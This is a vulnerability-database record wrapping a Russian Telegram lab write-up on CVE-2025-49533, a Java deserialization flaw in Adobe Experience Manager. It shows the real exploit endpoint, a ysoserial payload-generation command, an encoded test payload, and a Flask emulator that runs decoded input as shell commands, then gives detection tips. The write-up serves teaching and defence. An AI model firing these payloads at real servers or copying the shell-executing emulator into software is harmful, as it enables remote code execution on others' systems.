{"uuid": "f9e06766-4646-48fb-aed2-bce3123ea189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-49533", "type": "published-proof-of-concept", "source": "https://t.me/four_rays/138", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u043f\u0440\u043e\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u0443\u0435\u043c CVE-2025-49533. \n\nCVE-2025-49533 \u2014 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 Java \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 FormServer. \u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u044f \u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u044f \u0438\u0445 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 Adobe Experience Manager \u0432\u0435\u0440\u0441\u0438\u0438 &gt;= 6.5.23.  \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\ude2c \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:\n/FormServer/servlet/GetDocumentServlet?serDoc=&lt;@urlencode&gt;H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/\u2026\u2026.&lt;/@urlencode&gt;\n\n\u042d\u0442\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u2014 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\njava -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 \"\" | gzip | base64 -w0\n\n\u0425\u043e\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 Java, \u043d\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c python, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0449\u0435 \u0435\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0438 \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c.  \n\n\ud83d\udca1 \u0412\u0430\u0436\u043d\u043e\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435: \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u2014 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442. \n\n\u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n&lt;@urlencode&gt; RCE &lt;/@urlencode&gt;\n\nRCE \u2014 \u044d\u0442\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\necho -n \"nslookup google.com\" | gzip | base64 -w0\n\n\u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0439 payload:\n&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;\n\nP\u0443thon \u0441\u0435\u0440\u0432\u0435\u0440: \nimport urllib.parse\nimport base64\nimport gzip\nimport io\nfrom flask import Flask, request\nimport subprocess\nimport logging\n\napp = Flask(__name__)\n\n# Set up logging\nlogging.basicConfig(\n    filename='exploit.log',\n    level=logging.INFO,\n    format='[%(asctime)s] %(message)s',\n)\n\n@app.route('/rce')\ndef debug():\n    payload = request.args.get('cmd')\n\n    if payload:\n        if payload.startswith(\"&lt;@urlencode&gt;\") and payload.endswith(\"&lt;/@urlencode&gt;\"):\n            payload = payload[len(\"&lt;@urlencode&gt;\"):-len(\"&lt;/@urlencode&gt;\")]\n        print(payload)\n        decoded_url = urllib.parse.unquote_plus(payload)\n        print(decoded_url)\n        decoded_bytes = base64.b64decode(decoded_url)\n        print(decoded_bytes)\n        try:\n            with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:\n                decompressed = f.read()\n        except Exception:\n            decompressed = decoded_bytes\n\n        ascii_text = ''.join([chr(b) if 32 &lt;= b &lt;= 126 else '.' for b in decompressed])\n\n        try:\n            cmd = ascii_text[:1000]\n            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)\n            return f\"\n{output}\"\n        except subprocess.CalledProcessError as e:\n            return f\"\nError:\\n{e.output}\"\n    else:\n        return \"example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;\", 400\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=4502, debug=True)\n\n\u041f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u043d\u0430\u0448\u0435\u0433\u043e payload \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442:\n1\ufe0f\u20e3 \u043e\u0442\u0447\u0438\u0441\u0442\u043a\u0430 \u043e\u0442 \u0442\u0435\u0433\u043e\u0432 &lt;@urlencode&gt; &lt;\\@urlencode&gt;;\n2\ufe0f\u20e3 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 URL; \n3\ufe0f\u20e3 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Base64;\n4\ufe0f\u20e3 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 gzip;\n5\ufe0f\u20e3 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 RCE.\n\n\ud83d\ude2c \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f:\n1) \u041f\u0440\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u0431\u043e\u0439 Base64 \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 \u0442\u0435\u0433\u0430\u0445 &lt;@urlencode&gt; &lt;/@urlencode&gt;.\n2) Base64 \u0441\u0442\u0440\u043e\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 H4s, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0435 gzip .\n3) \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043c GET .\n4) \u041a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 /FormServer/servlet/GetDocumentServlet .\n\n\u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u2764\ufe0f, \u0435\u0441\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0440\u0430\u0431\u043e\u0442 \u0432 \u043a\u0430\u043d\u0430\u043b\u0435.", "creation_timestamp": "2025-09-26T12:26:59.000000Z"}